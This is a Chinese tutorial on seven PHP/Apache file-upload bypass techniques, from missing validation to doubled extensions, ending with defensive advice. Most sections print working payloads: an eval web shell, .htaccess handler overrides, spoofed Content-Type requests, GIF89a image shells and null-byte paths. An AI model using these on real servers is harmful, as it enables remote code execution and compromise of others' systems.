文件上传绕过技法全解:从无验证到双写后缀的七种攻击面

Jun 5, 2026 分钟阅读

一、前言

文件上传漏洞是 Web 安全中最常见的高危漏洞之一。实际环境中,服务端往往不会「完全不设防」,而是部署了多层校验。本题图梳理了文件上传从「无验证」到「双写后缀」的完整攻击链路,本文将逐一拆解图中高亮的 七种绕过技法,配合真实代码和 Payload,形成可落地的利用手册。


二、无验证

2.1 漏洞特征

服务端对用户上传的文件不做任何校验,直接保存到可访问目录。

1$target = "upload/" . $_FILES["file"]["name"];
2move_uploaded_file($_FILES["file"]["tmp_name"], $target);

2.2 利用方式

直接上传 PHP 一句话木马即可:

1<?php eval($_POST['cmd']); ?>

访问 http://target/upload/shell.php,蚁剑或 curl 直接连接。

2.3 为什么还存在

常见于:

  • 后台管理系统的「临时上传」功能
  • 内网测试环境未清理的接口
  • 前后端分离架构中,前端直传 OSS 但回显了内网地址

三、前端验证绕过

3.1 漏洞特征

校验逻辑只写在浏览器端 JavaScript 中,后端 PHP 未做任何校验:

1function checkFile() {
2    var allow_ext = ".jpg|.png|.gif";
3    var ext = file.substring(file.lastIndexOf("."));
4    if (allow_ext.indexOf(ext + "|") == -1) {
5        alert("该文件不允许上传");
6        return false;
7    }
8}

3.2 绕过方式

方法一:禁用浏览器 JavaScript

Chrome DevTools → Settings → Debugger → Disable JavaScript。

方法二:Burp 抓包修改

先选择合法的 .jpg 文件通过前端校验,Burp 拦截后将文件名改为 shell.php。

方法三:curl 直接发包

完全不经过浏览器,绕过一切前端校验:

1curl -X POST \
2  -F "upload_file=@shell.php" \
3  -F "submit=上传" \
4  "http://target/upload.php"

3.3 核心认知

前端校验只能提升用户体验,绝对不可作为安全防线。所有安全校验必须在服务端完成。


四、.htaccess 解析绕过

4.1 漏洞特征

服务端检查后缀名,禁止上传 .php,但允许上传 .htaccess,且上传目录在 Apache 下运行。

4.2 利用原理

Apache 的 .htaccess 文件可以覆盖当前目录的配置。通过上传自定义的 .htaccess,可以让 Apache 把任意后缀当作 PHP 执行:

1# 将 .jpg 文件解析为 PHP
2AddType application/x-httpd-php .jpg
3
4# 或者更激进:所有文件都按 PHP 解析
5SetHandler application/x-httpd-php

4.3 完整攻击链

  1. 上传 .htaccess:
1<FilesMatch "shell.jpg">
2    SetHandler application/x-httpd-php
3</FilesMatch>
  1. 上传 shell.jpg(内容实为 PHP 木马):
1<?php eval($_POST['cmd']); ?>
  1. 访问 http://target/upload/shell.jpg,Apache 会将其当作 PHP 执行。

4.4 限制条件

  • 目标必须是 Apache(Nginx/IIS 不支持 .htaccess)
  • 主配置中 AllowOverride 不能为 None
  • 部分环境会禁止 .htaccess 上传(需配合 .htaccess.txt 再重命名等技巧)

五、MIME 绕过

5.1 漏洞特征

服务端校验 $_FILES['file']['type'](即 HTTP 请求头中的 Content-Type),但不校验实际文件后缀或内容:

1if ($_FILES['file']['type'] != "image/jpeg") {
2    die("只允许上传图片");
3}

5.2 利用方式

Content-Type 是客户端发送的 HTTP 头,完全可控。Burp 拦截后修改即可:

1------WebKitFormBoundary7MA4YWxkTrZu0gW
2Content-Disposition: form-data; name="file"; filename="shell.php"
3Content-Type: image/jpeg            <-- 把 application/x-php 改成 image/jpeg
4
5<?php eval($_POST['cmd']); ?>

5.3 批量 fuzz

如果不确定服务端白名单里有哪些 MIME 类型,可以批量尝试:

1for type in "image/jpeg" "image/png" "image/gif" "application/octet-stream"; do
2    curl -F "file=@shell.php;type=$type" \
3         -F "submit=上传" \
4         http://target/upload.php
5done

六、文件头检查绕过

6.1 漏洞特征

服务端读取文件开头的 Magic Bytes 判断文件类型:

1$finfo = finfo_open(FILEINFO_MIME_TYPE);
2$mime = finfo_file($finfo, $tmp_file);
3// 或者使用 getimagesize() / exif_imagetype()

常见文件头:

文件类型Magic Bytes十六进制
JPEGFF D8 FFFFD8FF
PNG89 50 4E 4789504E47
GIFGIF89a / GIF87a47494638
BMPBM424D

6.2 绕过方式:图片马

将 PHP 代码附加在图片文件头之后,使文件既是合法图片,又包含可执行代码。

方法一:命令行拼接

1# 复制一张正常图片
2convert -size 1x1 xc:white empty.jpg
3
4# 拼接木马
5cat empty.jpg shell.php > shell.jpg

方法二:手写最小 GIF 头

GIF 的文件头最简短,可以直接手写:

1GIF89a
2<?php eval($_REQUEST['cmd']); ?>

保存为 shell.jpg 上传。getimagesize() 看到 GIF89a 就认为是合法图片,但如果在 PHP 环境中被访问,仍会执行其中的 PHP 代码(需配合文件包含或解析漏洞)。

方法三:使用工具插入注释

1# 使用 exiftool 在 JPG 的注释段插入代码
2exiftool -Comment='<?php eval($_POST[cmd]); ?>' normal.jpg -o shell.jpg

6.3 配合其他漏洞

单纯的图片马通常无法直接被访问执行,因为后缀是 .jpg。需要配合:

  • 文件包含漏洞:include('uploads/shell.jpg')
  • .htaccess 解析:上传 .htaccess 让 .jpg 解析为 PHP
  • Apache 解析漏洞:shell.php.jpg 在某些老版本配置下被解析

七、00 截断

7.1 漏洞特征

在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下,字符串中的 %00(URL 解码后为 0x00)会被当作字符串结束符。

漏洞代码通常使用用户可控的路径拼接:

1$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
2$target = "upload/" . md5(time()) . "." . $ext;
3move_uploaded_file($_FILES['file']['tmp_name'], $target);

如果 $target 的生成逻辑中用户可控的部分出现在扩展名之前,就可能截断。

7.2 经典场景

路径可控 + 后缀固定:

1$path = $_GET['path'];          // 用户可控
2$target = $path . "/shell.jpg"; // 强制追加后缀
3move_uploaded_file($tmp, $target);

请求:

1POST /upload.php?path=uploads/shell.php%00 HTTP/1.1

服务端实际保存路径变为 uploads/shell.php,.jpg 及之后的内容被 %00 截断。

7.3 Burp 操作步骤

  1. 上传正常图片,Burp 拦截
  2. 在路径参数处插入 shell.php%00:
1POST /upload.php?save_path=uploads/shell.php%00 HTTP/1.1
2...
3
4Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
  1. 放行,文件最终保存为 uploads/shell.php

7.4 限制条件

  • PHP < 5.3.4(5.3.4 起修复了 %00 截断)
  • magic_quotes_gpc = Off
  • 截断点必须出现在文件名或路径的拼接处,且用户可控部分在扩展名之前

八、双写后缀绕过

8.1 漏洞特征

服务端使用单次字符串替换过滤危险后缀:

1$filename = $_FILES['file']['name'];
2$blacklist = ['php', 'php3', 'php4', 'php5', 'phtml'];
3foreach ($blacklist as $ext) {
4    $filename = str_replace($ext, '', $filename);  // 只替换一次!
5}
6move_uploaded_file($tmp, "upload/" . $filename);

8.2 绕过原理

利用替换逻辑的不对称性:被替换后的结果恰好组成新的危险后缀。

原始文件名替换逻辑最终结果
shell.pphphp替换 php → ``shell.php
shell.php.php替换 php → ``shell..php(部分环境仍可解析)
shell.PHP未处理大小写shell.PHP

最经典的 Payload:

1shell.pphphp

服务端执行 str_replace('php', '', 'shell.pphphp') 后得到 shell.php。

8.3 变种场景

如果后端代码是:

1$filename = str_ireplace('php', '', $filename);  // 不区分大小写,但仍只替换一次

仍然可以使用双写:shell.pphphp

如果替换了 .(点号),可以尝试:

1shell.phpjpg
2# 或者利用路径截断等其他技巧

九、防御建议

9.1 白名单 > 黑名单

永远不要依赖黑名单。危险后缀无穷无尽:.php、.php3、.phtml、.phar、.htaccess…

1$allowed = ['jpg', 'jpeg', 'png', 'gif'];
2$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
3if (!in_array($ext, $allowed)) {
4    die("文件类型不允许");
5}

9.2 多重校验叠加

单层校验极易被绕过,建议同时校验:

校验层方法说明
后缀白名单pathinfo() + in_array()只允许 .jpg、.png
文件头检测getimagesize() / finfo_file()确保是真实图片
MIME 校验$_FILES['type'] 仅作参考不可单独信任
二次渲染imagecreatefromjpeg()破坏嵌入的恶意代码

9.3 重命名 + 隔离存储

1$ext = pathinfo($filename, PATHINFO_EXTENSION);
2$new_name = md5(uniqid() . time()) . '.' . $ext;
3move_uploaded_file($tmp, '/var/uploads/' . $new_name);
  • 上传目录设置为不可执行(Nginx: location /uploads { deny all; })
  • 使用独立域名或 OSS 隔离上传文件

9.4 禁用危险功能

  • 关闭 AllowOverride,禁止 .htaccess
  • 升级 PHP 到 5.4+,避免 %00 截断
  • 使用 open_basedir 限制文件操作范围

十、总结

攻击面核心绕过思路前提条件
无验证直接上传 .php服务端无任何校验
前端验证禁用 JS / curl 直接发包 / Burp 改包校验只在浏览器端
.htaccess上传 .htaccess 修改解析规则Apache + AllowOverride 开启
MIME 绕过Burp 修改 Content-Type仅校验 MIME 类型
文件头检查制作图片马(GIF89a + PHP 代码)仅校验文件头
00 截断路径参数插入 %00PHP < 5.3.4 + 路径可控
双写后缀pphphp 替换后成为 php单次 str_replace 过滤

文件上传漏洞的绕过本质上是**「校验与欺骗」的博弈**。每增加一层校验,攻击面就缩小一分,但单一校验始终存在被绕过的可能。白名单 + 文件头 + 二次渲染 + 隔离存储的组合,才是相对稳固的防御方案。